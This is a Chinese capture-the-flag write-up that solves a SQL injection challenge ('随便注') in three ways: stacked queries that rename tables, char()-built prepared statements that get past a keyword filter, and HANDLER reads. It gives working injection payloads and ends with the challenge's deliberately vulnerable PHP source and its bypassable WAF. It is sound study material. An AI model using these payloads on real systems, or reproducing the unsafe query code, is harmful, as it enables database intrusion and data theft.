- 拿到题目,很明显的sql注入题目。
- 尝试语句闭合方式,输入1、1’、1’#判断,结果语句应该为单引号闭合。
- 再判断列1’ order by1,2,3…–+,发现到3时报错,所以列数位为2。
- 然后尝试联合注入,1’ union select 1,databases()# 。返回过滤提示。
- 因为发现select被过滤,而且大写、双写也不行,所以盲注不行,报错注入不行。尝试了几种方法后。告辞,是我太菜。
- 还是看wp才做出来,知识盲区太多了。
- 这题有三种方法,网上wp大多数只有两种,我找了很多wp后发现了第三种。
一、首先就是堆叠注入
-
因为没有可以发现过滤show,所以可以。
-
所谓堆叠注入也就是一次性执行多条sql语句。
-
局限性很大,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用。
-
在SQL中,分号(;)是用来表示一条sql语句的结束。 当支持多条sql语句同时执行时,在执行完第一句后,将继续执行(;)后的sql语句,当只支持一条sql语句执行时,将不再执行(;)后的sql语句。
-
来看具体操作。
- 1';show databases# 看数据库
- 1';show tables# 看表
-1';show columns from words ;# 或 1';desc words;# 看表words的字段
- 1';show columns from `1919810931114514`# 或1';desc `1919810931114514`;# 看表1919810931114514的字段。
- 这里有一个小细节,1919810931114514必须用反单引号括起来,不然出错,但是words可不需要,
- 具体为什么,没找到答案,应该是与定义的数据类型有关,字段添加标识符反单引号,值进行转义处理。
- 1' or 1=1# 希望展示所有内容
- 一般SQL代码中会有这copy么一段select * from (表名) where = 变量,
- 当通过注入后会变成select * from (表名) where id = 变量 OR 1=1;
- 就会使百where后面的表达式变成一句可有可无的表达式,因为or前面执行成功,且1=1为真。不会报错
- 就与select * from (表名)相等然后就可以通过这种句式来取得当前数据表中所有的用户信息答。
- 但显然失败了,猜测表名应该是words,所以才没有显示flag,所以可能是select * from words where id = 变量
-
到这里,就发现,没办法继续下去。
-
可以看见,表words有两列,列名为 “id” 和 “data” 而表1919810931114514只有一列 “flag” 。
-
而且可以发现,它是通过 “id” 来索引的,通过输入1时的回显和展示表words的内容可以判断。
-
而且没有过滤 alter 和 rename。可以修改表名和列名。所以就有了下面的迷人操作,我表示我太菜了。
-
如果说
- 我们把表 words 改名为其它, - 然后把表 1919810931114514 改名为 words , - 再在表 1919810931114514 插入一列 id , - 或直接将列 flag 改名为 id , - 当我们再次查询时,不就是查询 flag 所在表了吗,且可以被展示出来。
-
以上操作确实很可以,以下是payload。
- 1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not NULL;#
-
解释一下
- rename table `words` to `words1`; 修改表 words 改名为其它, - rename table `1919810931114514` to `words`;修改表 1919810931114514 改名为 words , - alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not NULL;修改列 flag 改名为 id , - 或者可以 alter table words add id int unsigned not Null auto_increment primary key;在表 1919810931114514 插入一列 id, - 然后再 1' or 1=1# ,展示flag
- 到这,得到flag,以上就是这种方法的具体操作。
- 还有就是,关于堆叠注入还有很多内容,这里只是其中一种,详细了解可以自行学习。
====================================================================
二、sql语句预处理
-
首先,同样的,sql语句预处理有很多内容,这里也只是其中一种,详细了解可以自行学习。
-
先来了解 一下这里的预处理
- 在sql语句中,@ 用于定义变量。 - concat(),函数用于字符串拼接。 - char(),将ASCII码转换为对应的字符。 - 定义预处理语句 PREPARE stmt_name FROM preparable_stmt; - 执行预处理语句 EXECUTE stmt_name [USING @var_name [, @var_name] ...]; - 删除(释放)定义 {DEALLOCATE | DROP} PREPARE stmt_name;
-
然后再看一下这里使用的payload。
- 1';SET @sql = concat(char(115,101,108,101,99,116), " * from `1919810931114514`"); PREPARE yuchuli from @sql; EXECUTE yuchuli;
-
解释一下。
- 因为select被过滤,用char(115,101,108,101,99,116)生成select,也可以用拼接生成select。 - 然后用concat()拼接成一句完整的sql语句。 - 先定义了一个变量sql,然后将变量sql定义为预处理语句,然后再执行。
- 得到flag,感觉这种方法更不容易理解。
- 这种方法在后面看源码发现,其实也过滤了prepare和set,但使用的是strstr(),所以可以用大写绕过,因为它不区分大小写。源码在文章末。
============================================================================
三、通过handler读取数据
-
这种方法我更是一脸懵。
-
直接先上payload。
- 1';handler `1919810931114514` open;handler `1919810931114514` read first#
-
直接得到flag,太强了。接下来讲讲它。
-
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
-
语法结构:
- HANDLER tbl_name OPEN [ [AS] alias] - HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)[ WHERE where_condition ] [LIMIT ... ] - HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT ... ] - HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ] - HANDLER tbl_name CLOSE
-
如:通过handler语句查询users表的内容
- handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名 - handler yunensec read first; #读取指定表/句柄的首行数据 - handler yunensec read next; #读取指定表/句柄的下一行数据 - handler yunensec read next; #读取指定表/句柄的下一行数据 - ... - handler yunensec close; #关闭句柄
-
引用于:https://xz.aliyun.com/t/7169#toc-47
- 以上就是这题的三种解法 ,只能说学习之路还很长。
- 附上题目链接 https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4%BE%BF%E6%B3%A8
- 持续更新BUU题解,写的不是很好,请指正。
四、最后贴上题目源码。
set="UTF-8">
<title>easy_sql</title>
</head>
<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>
<pre>
<?php
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多条sql语句
$sql = "select * from `words` where id = '$id';";
$res = $mysqli->multi_query($sql);
if ($res){//使用multi_query()执行一条或多条sql语句
do{
if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "<br>";
}
$rs->Close(); //关闭结果集
if ($mysqli->more_results()){ //判断是否还有更多结果集
echo "<hr>";
}
}
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //关闭数据库连接
}
?>
</pre></body></html>